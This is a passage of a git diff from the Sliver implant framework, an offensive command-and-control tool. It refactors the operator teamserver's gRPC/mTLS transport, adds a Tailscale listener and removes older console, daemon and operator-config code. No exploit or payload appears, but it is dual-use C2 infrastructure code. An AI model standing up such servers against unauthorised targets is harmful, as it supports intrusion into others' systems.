[]tls.Certificate{certPEM}, - RootCAs: caCertPool, - InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing - VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { - return RootOnlyVerifyCertificate(caCertificate, rawCerts) - }, - } - return tlsConfig, nil -} - -// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so -// we have to disable all of the certificate validation and re-implement everything. -// https://github.com/golang/go/issues/21971 -func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error { - roots := x509.NewCertPool() - ok := roots.AppendCertsFromPEM([]byte(caCertificate)) - if !ok { - log.Printf("Failed to parse root certificate") - os.Exit(3) - } - - cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert - if err != nil { - log.Printf("Failed to parse certificate: " + err.Error()) - return err - } - - // Basically we only care if the certificate was signed by our authority - // Go selects sensible defaults for time and EKU, basically we're only - // skipping the hostname check, I think? - options := x509.VerifyOptions{ - Roots: roots, - } - if options.Roots == nil { - panic("no root certificate") - } - if _, err := cert.Verify(options); err != nil { - log.Printf("Failed to verify certificate: " + err.Error()) - return err - } - - return nil -} diff --git a/server/cli/cli.go b/server/cli/cli.go index c2ce0c8996..5134c81173 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -19,7 +19,6 @@ package cli */ import ( - "errors" "fmt" "log" "os" @@ -33,7 +32,6 @@ import ( "github.com/reeflective/team/server" teamserver "github.com/reeflective/team/server" "github.com/reeflective/team/server/commands" - "google.golang.org/grpc" // Sliver Client core, and generic/server-only commands "github.com/bishopfox/sliver/client/command" @@ -46,13 +44,11 @@ import ( "github.com/bishopfox/sliver/server/transport" // Server-only imports - "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/rpc" ) // Execute the sliver server binary. @@ -129,25 +125,9 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // 1) Teamserver --------- // - // NOTE: Teamserver gRPC stack. - // The teamserver stack is for now contained in a package of the third-party - // module github.com/reeflective/team: - // 1) The listener is pre-set with all gRPC transport,auth and middleware logging. - // 2) This listener could be partially/fully reimplemented within the Sliver repo. - gTeamserver := transport.NewListener() - - // NOTE: This might not be needed if 2) above is chosen. - // The listener obviously works with gRPC servers, so we need to pass - // a hook for service binding before starting those gRPC HTTP/2 listeners. - gTeamserver.PostServe(func(grpcServer *grpc.Server) error { - if grpcServer == nil { - return errors.New("No gRPC server to use for service") - } - - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - - return nil - }) + // We can use several teamserver listener/stack backends. + tlsListener := transport.NewListener() + tailscaleListener := transport.NewTailScaleListener() // Here is an import step, where we are given a change to setup // the reeflective/teamserver with everything we want: our own @@ -156,7 +136,8 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { var serverOpts []teamserver.Options serverOpts = append(serverOpts, teamserver.WithDefaultPort(31337), - teamserver.WithListener(gTeamserver), + teamserver.WithListener(tlsListener), + teamserver.WithListener(tailscaleListener), ) // Create the application teamserver. @@ -172,7 +153,7 @@ func newSliverServer() (*teamserver.Server, *client.SliverClient) { // The gRPC teamserver backend is hooked to produce a single // in-memory teamclient RPC/dialer backend. Not encrypted. - gTeamclient := transport.NewClientFrom(gTeamserver) + gTeamclient := transport.NewClientFrom(tlsListener) // Pass the gRPC teamclient backend to our console package, // with registers a hook to bind its RPC client and start diff --git a/server/command/builder/builder.go b/server/command/builder/builder.go index 25316e02b6..6bab0ac0e7 100644 --- a/server/command/builder/builder.go +++ b/server/command/builder/builder.go @@ -19,6 +19,7 @@ package builder */ import ( + "errors" "fmt" "os" "runtime" @@ -29,10 +30,13 @@ import ( "github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/version" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/builder" "github.com/bishopfox/sliver/server/generate" "github.com/bishopfox/sliver/server/log" + "github.com/reeflective/team/client" "github.com/spf13/cobra" + "google.golang.org/grpc" ) var builderLog = log.NamedLogger("cli", "builder") @@ -123,15 +127,8 @@ func runBuilderCmd(cmd *cobra.Command, args []string) { } builderLog.Infof("Hello my name is: %s", externalBuilder.Name) - // connect to the server builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) - rpc, ln, err := transport.MTLSConnect(config) - if err != nil { - builderLog.Errorf("Failed to connect to server: %s", err) - os.Exit(-2) - } - defer ln.Close() - builder.StartBuilder(externalBuilder, rpc) + startBuilderTeamclient(externalBuilder, configPath) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { @@ -263,3 +260,46 @@ func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Buil } } } + +func startBuilderTeamclient(externalBuilder *clientpb.Builder, configPath string) { + var rpc rpcpb.SliverRPCClient + + gTeamclient := transport.NewTeamClient() + + // The teamclient requires hooks to bind RPC clients around its connection. + // NOTE: this might not be needed either if Sliver uses its own teamclient backend. + bindClient := func(clientConn any) error { + grpcClient, ok := clientConn.(*grpc.ClientConn) + if !ok || grpcClient == nil { + return errors.New("No gRPC client to use for service") + } + + rpc = rpcpb.NewSliverRPCClient(grpcClient) + + return nil + } + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithDialer(gTeamclient, bindClient), + ) + + teamclient, err := client.New("sliver", gTeamclient, clientOpts...) + if err != nil { + panic(err) + } + + // Now use our teamclient to fetch the configuration. + config, err := teamclient.ReadConfig(configPath) + if err != nil { + builderLog.Fatalf("Invalid config file: %s", err) + os.Exit(-1) + } + + // And immediately connect with it. + teamclient.Connect(client.WithConfig(config)) + defer teamclient.Disconnect() + + // Let the builder do its work, blocking. + builder.StartBuilder(externalBuilder, rpc) +} diff --git a/server/console/console-admin.go b/server/console/console-admin.go deleted file mode 100644 index 34a8aa22ae..0000000000 --- a/server/console/console-admin.go +++ /dev/null @@ -1,281 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/sha256" - "encoding/hex" - "encoding/json" - "errors" - "fmt" - "io/ioutil" - "log" - "os" - "path/filepath" - "regexp" - - "github.com/spf13/cobra" - - consts "github.com/bishopfox/sliver/client/constants" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/core" - "github.com/bishopfox/sliver/server/db" - "github.com/bishopfox/sliver/server/db/models" - "github.com/bishopfox/sliver/server/transport" -) - -const ( - // ANSI Colors - normal = "\033[0m" - black = "\033[30m" - red = "\033[31m" - green = "\033[32m" - orange = "\033[33m" - blue = "\033[34m" - purple = "\033[35m" - cyan = "\033[36m" - gray = "\033[37m" - bold = "\033[1m" - clearln = "\r\x1b[2K" - upN = "\033[%dA" - downN = "\033[%dB" - underline = "\033[4m" - - // Info - Display colorful information - Info = bold + cyan + "[*] " + normal - // Warn - Warn a user - Warn = bold + red + "[!] " + normal - // Debug - Display debug information - Debug = bold + purple + "[-] " + normal - // Woot - Display success - Woot = bold + green + "[$] " + normal -) - -var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars - -// ClientConfig - Client JSON config -type ClientConfig struct { - Operator string `json:"operator"` - Token string `json:"token"` - LHost string `json:"lhost"` - LPort int `json:"lport"` - CACertificate string `json:"ca_certificate"` - PrivateKey string `json:"private_key"` - Certificate string `json:"certificate"` -} - -func newOperatorCmd(cmd *cobra.Command, _ []string) { - name, _ := cmd.Flags().GetString("name") - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - save, _ := cmd.Flags().GetString("save") - - if save == "" { - save, _ = os.Getwd() - } - - fmt.Printf(Info + "Generating new client certificate, please wait ... \n") - configJSON, err := NewOperatorConfig(name, lhost, lport) - if err != nil { - fmt.Printf(Warn+"%s\n", err) - return - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf(Warn+"File already exists %s\n", err) - return - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = ioutil.WriteFile(saveTo, configJSON, 0o600) - if err != nil { - fmt.Printf(Warn+"Failed to write config to: %s (%s) \n", saveTo, err) - return - } - fmt.Printf(Info+"Saved new client config to: %s \n", saveTo) -} - -// NewOperatorConfig - Generate a new player/client/operator configuration -func NewOperatorConfig(operatorName string, lhost string, lport uint16) ([]byte, error) { - if !namePattern.MatchString(operatorName) { - return nil, errors.New("invalid operator name (alphanumerics only)") - } - if operatorName == "" { - return nil, errors.New("operator name required") - } - if lhost == "" { - return nil, errors.New("invalid lhost") - } - - rawToken := models.GenerateOperatorToken() - digest := sha256.Sum256([]byte(rawToken)) - dbOperator := &models.Operator{ - Name: operatorName, - Token: hex.EncodeToString(digest[:]), - } - err := db.Session().Save(dbOperator).Error - if err != nil { - return nil, err - } - - publicKey, privateKey, err := certs.OperatorClientGenerateCertificate(operatorName) - if err != nil { - return nil, fmt.Errorf("failed to generate certificate %s", err) - } - caCertPEM, _, _ := certs.GetCertificateAuthorityPEM(certs.OperatorCA) - config := ClientConfig{ - Operator: operatorName, - Token: rawToken, - LHost: lhost, - LPort: int(lport), - CACertificate: string(caCertPEM), - PrivateKey: string(privateKey), - Certificate: string(publicKey), - } - return json.Marshal(config) -} - -func kickOperatorCmd(cmd *cobra.Command, _ []string) { - operator, _ := cmd.Flags().GetString("name") - - fmt.Printf(Info+"Removing auth token(s) for %s, please wait ... \n", operator) - err := db.Session().Where(&models.Operator{ - Name: operator, - }).Delete(&models.Operator{}).Error - if err != nil { - return - } - transport.ClearTokenCache() - fmt.Printf(Info+"Removing client certificate(s) for %s, please wait ... \n", operator) - err = certs.OperatorClientRemoveCertificate(operator) - if err != nil { - fmt.Printf(Warn+"Failed to remove the operator certificate: %v \n", err) - return - } - fmt.Printf(Info+"Operator %s has been kicked out.\n", operator) -} - -func StartPersistentJobs(cfg *configs.ServerConfig) error { - if cfg.Jobs == nil { - return nil - } - for _, j := range cfg.Jobs.Multiplayer { - if j.Tailscale { - jobStartTsNetClientListener(j.Host, j.Port) - } else { - jobStartMtlsClientListener(j.Host, j.Port) - } - } - return nil -} - -func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) { - lhost, _ := cmd.Flags().GetString("lhost") - lport, _ := cmd.Flags().GetUint16("lport") - persistent, _ := cmd.Flags().GetBool("persistent") - tailscale, _ := cmd.Flags().GetBool("tailscale") - - var err error - if tailscale { - _, err = jobStartTsNetClientListener(lhost, lport) - } else { - _, err = jobStartMtlsClientListener(lhost, lport) - } - if err == nil { - fmt.Printf(Info + "Multiplayer mode enabled!\n") - if persistent { - serverConfig := configs.GetServerConfig() - serverConfig.AddMultiplayerJob(&configs.MultiplayerJobConfig{ - Host: lhost, - Port: lport, - Tailscale: tailscale, - }) - serverConfig.Save() - } - } else { - fmt.Printf(Warn+"Failed to start job %v\n", err) - } -} - -func jobStartMtlsClientListener(host string, port uint16) (int, error) { - _, ln, err := transport.StartMtlsClientListener(host, port) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/mtls", - Description: "client listener", - Protocol: "tcp", - Port: port, - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} - -func jobStartTsNetClientListener(host string, port uint16) (int, error) { - _, ln, err := transport.StartTsNetClientListener(host, port) - if err != nil { - return -1, err // If we fail to bind don't setup the Job - } - - job := &core.Job{ - ID: core.NextJobID(), - Name: "grpc/tsnet", - Description: "client listener", - Protocol: "tcp", - Port: port, - JobCtrl: make(chan bool), - } - - go func() { - <-job.JobCtrl - log.Printf("Stopping client listener (%d) ...\n", job.ID) - ln.Close() // Kills listener GoRoutines in startMutualTLSListener() but NOT connections - - core.Jobs.Remove(job) - core.EventBroker.Publish(core.Event{ - Job: job, - EventType: consts.JobStoppedEvent, - }) - }() - - core.Jobs.Add(job) - return job.ID, nil -} diff --git a/server/console/console-admin_test.go b/server/console/console-admin_test.go deleted file mode 100644 index ba7f84935f..0000000000 --- a/server/console/console-admin_test.go +++ /dev/null @@ -1,46 +0,0 @@ -package console - -import ( - "encoding/json" - "encoding/pem" - "testing" - - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/server/certs" -) - -func TestRootOnlyVerifyCertificate(t *testing.T) { - certs.SetupCAs() - - data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337)) - if err != nil { - t.Fatalf("failed to generate test player profile %s", err) - } - config := &ClientConfig{} - err = json.Unmarshal(data, config) - if err != nil { - t.Fatalf("failed to parse client config %s", err) - } - - _, _, err = certs.OperatorServerGetCertificate("localhost") - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate("localhost") - } - - // Test with a valid certificate - certPEM, _, _ := certs.OperatorServerGetCertificate("localhost") - block, _ := pem.Decode(certPEM) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err != nil { - t.Fatalf("root only verify certificate error: %s", err) - } - - // Test with wrong CA - wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false) - block, _ = pem.Decode(wrongCert) - err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes}) - if err == nil { - t.Fatal("root only verify cert verified a certificate with invalid ca!") - } - -} diff --git a/server/console/console.go b/server/console/console.go deleted file mode 100644 index d3baa07e7a..0000000000 --- a/server/console/console.go +++ /dev/null @@ -1,120 +0,0 @@ -package console - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "fmt" - "net" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - - "github.com/bishopfox/sliver/client/command" - "github.com/bishopfox/sliver/client/command/help" - consts "github.com/bishopfox/sliver/client/constants" - clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/transport" - "google.golang.org/grpc" -) - -// Start - Starts the server console -func Start() { - _, ln, _ := transport.LocalListener() - ctxDialer := grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) { - return ln.Dial() - }) - - options := []grpc.DialOption{ - ctxDialer, - grpc.WithInsecure(), // This is an in-memory listener, no need for secure transport - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(clienttransport.ClientMaxReceiveMessageSize)), - } - conn, err := grpc.DialContext(context.Background(), "bufnet", options...) - if err != nil { - fmt.Printf(Warn+"Failed to dial bufnet: %s\n", err) - return - } - defer conn.Close() - // localRPC := rpcpb.NewSliverRPCClient(conn) - if err := configs.CheckHTTPC2ConfigErrors(); err != nil { - fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) - } - - // con := console.NewConsole(false) - // console.StartClient(con, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) - - // con.App.Start() -} - -// serverOnlyCmds - Server only commands -func serverOnlyCmds() (commands []*cobra.Command) { - // [ Multiplayer ] ----------------------------------------------------------------- - - startMultiplayer := &cobra.Command{ - Use: consts.MultiplayerModeStr, - Short: "Enable multiplayer mode", - Long: help.GetHelpFor([]string{consts.MultiplayerModeStr}), - Run: startMultiplayerModeCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Bind("multiplayer", false, startMultiplayer, func(f *pflag.FlagSet) { - f.StringP("lhost", "L", "", "interface to bind server to") - f.Uint16P("lport", "l", 31337, "tcp listen port") - f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)") - f.BoolP("persistent", "p", false, "make persistent across restarts") - }) - - commands = append(commands, startMultiplayer) - - newOperator := &cobra.Command{ - Use: consts.NewOperatorStr, - Short: "Create a new operator config file", - Long: help.GetHelpFor([]string{consts.NewOperatorStr}), - Run: newOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - command.Bind("operator", false, newOperator, func(f *pflag.FlagSet) { - f.StringP("lhost", "l", "", "listen host") - f.Uint16P("lport", "p", 31337, "listen port") - f.StringP("save", "s", "", "directory/file in which to save config") - f.StringP("name", "n", "", "operator name") - }) - command.BindFlagCompletions(newOperator, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionDirectories() - }) - commands = append(commands, newOperator) - - kickOperator := &cobra.Command{ - Use: consts.KickOperatorStr, - Short: "Kick an operator from the server", - Long: help.GetHelpFor([]string{consts.KickOperatorStr}), - Run: kickOperatorCmd, - GroupID: consts.MultiplayerHelpGroup, - } - - command.Bind("operator", false, kickOperator, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "operator name") - }) - commands = append(commands, kickOperator) - - return -} diff --git a/server/daemon/README.md b/server/daemon/README.md deleted file mode 100644 index 8c8d1b9add..0000000000 --- a/server/daemon/README.md +++ /dev/null @@ -1,4 +0,0 @@ -Daemon -====== - -This is the main function when the application is executed as a daemon instead of in console mode. It simply starts the MTLS listener and responds to SIG messages. diff --git a/server/daemon/daemon.go b/server/daemon/daemon.go deleted file mode 100644 index d673142fcd..0000000000 --- a/server/daemon/daemon.go +++ /dev/null @@ -1,73 +0,0 @@ -package daemon - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "os/signal" - "syscall" - - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/transport" -) - -var ( - serverConfig = configs.GetServerConfig() - daemonLog = log.NamedLogger("daemon", "main") - - // BlankHost is a blank hostname - BlankHost = "-" - // BlankPort is a blank port number - BlankPort = uint16(0) -) - -// Start - Start as daemon process -func Start(host string, port uint16) { - - // cli args take president over config - if host == BlankHost { - daemonLog.Info("No cli lhost, using config file or default value") - host = serverConfig.DaemonConfig.Host - } - if port == BlankPort { - daemonLog.Info("No cli lport, using config file or default value") - port = uint16(serverConfig.DaemonConfig.Port) - } - - daemonLog.Infof("Starting Sliver daemon %s:%d ...", host, port) - _, ln, err := transport.StartMtlsClientListener(host, port) - if err != nil { - fmt.Printf("[!] Failed to start daemon %s", err) - daemonLog.Errorf("Error starting client listener %s", err) - os.Exit(1) - } - - done := make(chan bool) - signals := make(chan os.Signal, 1) - signal.Notify(signals, syscall.SIGTERM) - go func() { - <-signals - daemonLog.Infof("Received SIGTERM, exiting ...") - ln.Close() - done <- true - }() - <-done -} diff --git a/server/transport/middleware-old.go.old b/server/transport/middleware-old.go.old index db1d833b46..32aea05a18 100644 --- a/server/transport/middleware-old.go.old +++ b/server/transport/middleware-old.go.old @@ -93,12 +93,9 @@ func initMiddleware(remoteAuth bool) []grpc.ServerOption { ), } } - } -var ( - tokenCache = sync.Map{} -) +var tokenCache = sync.Map{} // ClearTokenCache - Clear the auth token cache func ClearTokenCache() { @@ -253,7 +250,6 @@ func getUser(client *peer.Peer) string { } func getActiveTarget(rawRequest []byte) (*clientpb.Session, *clientpb.Beacon, error) { - var activeBeacon *clientpb.Beacon var activeSession *clientpb.Session diff --git a/server/transport/middleware.go b/server/transport/middleware.go index d51673034f..97035684c2 100644 --- a/server/transport/middleware.go +++ b/server/transport/middleware.go @@ -22,17 +22,17 @@ import ( "context" "encoding/json" - grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" grpc_auth "github.com/grpc-ecosystem/go-grpc-middleware/auth" grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" grpc_tags "github.com/grpc-ecosystem/go-grpc-middleware/tags" - "github.com/reeflective/team/server" - "github.com/reeflective/team/transports/grpc/common" "github.com/sirupsen/logrus" "google.golang.org/grpc" "google.golang.org/grpc/codes" "google.golang.org/grpc/credentials" "google.golang.org/grpc/status" + + "github.com/reeflective/team/server" + "github.com/reeflective/team/transports/grpc/common" ) // BufferingOptions returns a list of server options with max send/receive @@ -96,8 +96,8 @@ func LogMiddlewareOptions(s *server.Server) ([]grpc.ServerOption, error) { ) return []grpc.ServerOption{ - grpc_middleware.WithUnaryServerChain(requestOpts...), - grpc_middleware.WithStreamServerChain(streamOpts...), + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), }, nil } @@ -146,15 +146,21 @@ func (ts *Teamserver) initAuthMiddleware() ([]grpc.ServerOption, error) { // Return middleware for all requests and stream interactions in gRPC. return []grpc.ServerOption{ - grpc_middleware.WithUnaryServerChain(requestOpts...), - grpc_middleware.WithStreamServerChain(streamOpts...), + grpc.ChainUnaryInterceptor(requestOpts...), + grpc.ChainStreamInterceptor(streamOpts...), }, nil } -// TODO: Should we change the default in-memory server name ? +type contextKey int + +const ( + Transport contextKey = iota + Operator +) + func serverAuthFunc(ctx context.Context) (context.Context, error) { - newCtx := context.WithValue(ctx, "transport", "local") - newCtx = context.WithValue(newCtx, "user", "server") + newCtx := context.WithValue(ctx, Transport, "local") + newCtx = context.WithValue(newCtx, Operator, "server") return newCtx, nil } @@ -175,8 +181,8 @@ func (ts *Teamserver) tokenAuthFunc(ctx context.Context) (context.Context, error return nil, status.Error(codes.Unauthenticated, "Authentication failure") } - newCtx := context.WithValue(ctx, "transport", "mtls") - newCtx = context.WithValue(newCtx, "user", user) + newCtx := context.WithValue(ctx, Transport, "mtls") + newCtx = context.WithValue(newCtx, Operator, user) return newCtx, nil } diff --git a/server/transport/mtls.go b/server/transport/mtls.go deleted file mode 100644 index 674f0b5b6c..0000000000 --- a/server/transport/mtls.go +++ /dev/null @@ -1,109 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "crypto/tls" - "crypto/x509" - "fmt" - "net" - "runtime/debug" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" - - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" -) - -var mtlsLog = log.NamedLogger("transport", "mtls") - -// StartMtlsClientListener - Start a mutual TLS listener -func StartMtlsClientListener(host string, port uint16) (*grpc.Server, net.Listener, error) { - mtlsLog.Infof("Starting gRPC/mtls listener on %s:%d", host, port) - - tlsConfig := getOperatorServerTLSConfig("multiplayer") - - creds := credentials.NewTLS(tlsConfig) - ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", host, port)) - if err != nil { - mtlsLog.Error(err) - return nil, nil, err - } - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - // options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - mtlsLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - mtlsLog.Warnf("gRPC server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil -} - -// getOperatorServerTLSConfig - Generate the TLS configuration, we do now allow the end user -// to specify any TLS paramters, we choose sensible defaults instead -func getOperatorServerTLSConfig(host string) *tls.Config { - caCertPtr, _, err := certs.GetCertificateAuthority(certs.OperatorCA) - if err != nil { - mtlsLog.Fatalf("Invalid ca type (%s): %v", certs.OperatorCA, host) - } - caCertPool := x509.NewCertPool() - caCertPool.AddCert(caCertPtr) - - _, _, err = certs.OperatorServerGetCertificate(host) - if err == certs.ErrCertDoesNotExist { - certs.OperatorServerGenerateCertificate(host) - } - - certPEM, keyPEM, err := certs.OperatorServerGetCertificate(host) - if err != nil { - mtlsLog.Errorf("Failed to generate or fetch certificate %s", err) - return nil - } - cert, err := tls.X509KeyPair(certPEM, keyPEM) - if err != nil { - mtlsLog.Fatalf("Error loading server certificate: %v", err) - } - - tlsConfig := &tls.Config{ - RootCAs: caCertPool, - ClientAuth: tls.RequireAndVerifyClientCert, - ClientCAs: caCertPool, - Certificates: []tls.Certificate{cert}, - MinVersion: tls.VersionTLS13, - } - - return tlsConfig -} diff --git a/server/transport/server.go b/server/transport/server.go index 0baa174139..fed5174b63 100644 --- a/server/transport/server.go +++ b/server/transport/server.go @@ -1,21 +1,21 @@ package transport /* - team - Embedded teamserver for Go programs and CLI applications - Copyright (C) 2023 Reeflective + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ import ( @@ -30,6 +30,8 @@ import ( "google.golang.org/grpc/test/bufconn" clientTransport "github.com/bishopfox/sliver/client/transport" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/rpc" ) const ( @@ -49,17 +51,12 @@ const ( // // This teamserver embeds a team/server.Server core driver and uses it for fetching // server-side TLS configurations, use its loggers and access its database/users/list. -// -// By default, the server has no grpc.Server options attached. -// Please see the other functions of this package for pre-configured option sets. type Teamserver struct { *teamserver.Server options []grpc.ServerOption conn *bufconn.Listener mutex *sync.RWMutex - - hooks []func(server *grpc.Server) error } // NewListener is a simple constructor returning a teamserver loaded with the @@ -99,14 +96,7 @@ func NewClientFrom(server *Teamserver, opts ...grpc.DialOption) *clientTransport // Name immplements team/server.Handler.Name(). // It indicates the transport/rpc stack, in this case "gRPC". func (h *Teamserver) Name() string { - return "gRPC" -} - -// PostServe registers one or more hook functions to be ran on the server -// before it is served to the listener. These hooks should naturally be -// used to register additional services to it. -func (h *Teamserver) PostServe(hooks ...func(server *grpc.Server) error) { - h.hooks = append(h.hooks, hooks...) + return "gRPC/mTLS" } // Init implements team/server.Handler.Init(). @@ -136,9 +126,6 @@ func (h *Teamserver) Init(serv *teamserver.Server) (err error) { // If the teamserver has previously been given an in-memory connection, // it returns it as the listener without errors. func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { - rpcLog := h.NamedLogger("transport", "mTLS") - - // Only wrap the connection in TLS when remote. // In-memory connection are not authenticated. if h.conn == nil { ln, err = net.Listen("tcp", addr) @@ -160,17 +147,30 @@ func (h *Teamserver) Listen(addr string) (ln net.Listener, err error) { h.mutex.Unlock() } + h.serve(ln) + + return ln, nil +} + +// Close implements team/server.Handler.Close(). +// In this implementation, the function does nothing. Thus the underlying +// *grpc.Server.Shutdown() method is not called, and only the listener +// will be closed by the server automatically when using CloseListener(). +// +// This is probably not optimal from a resource usage standpoint, but currently it +// fits most use cases. Feel free to reimplement or propose changes to this lib. +func (h *Teamserver) Close() error { + return nil +} + +func (h *Teamserver) serve(ln net.Listener) { grpcServer := grpc.NewServer(h.options...) - // Register the core teamserver service - proto.RegisterTeamServer(grpcServer, newServer(h.Server)) + rpcLog := h.NamedLogger("transport", "gRPC") - for _, hook := range h.hooks { - if err := hook(grpcServer); err != nil { - rpcLog.Errorf("service bind error: %s", err) - return nil, err - } - } + // 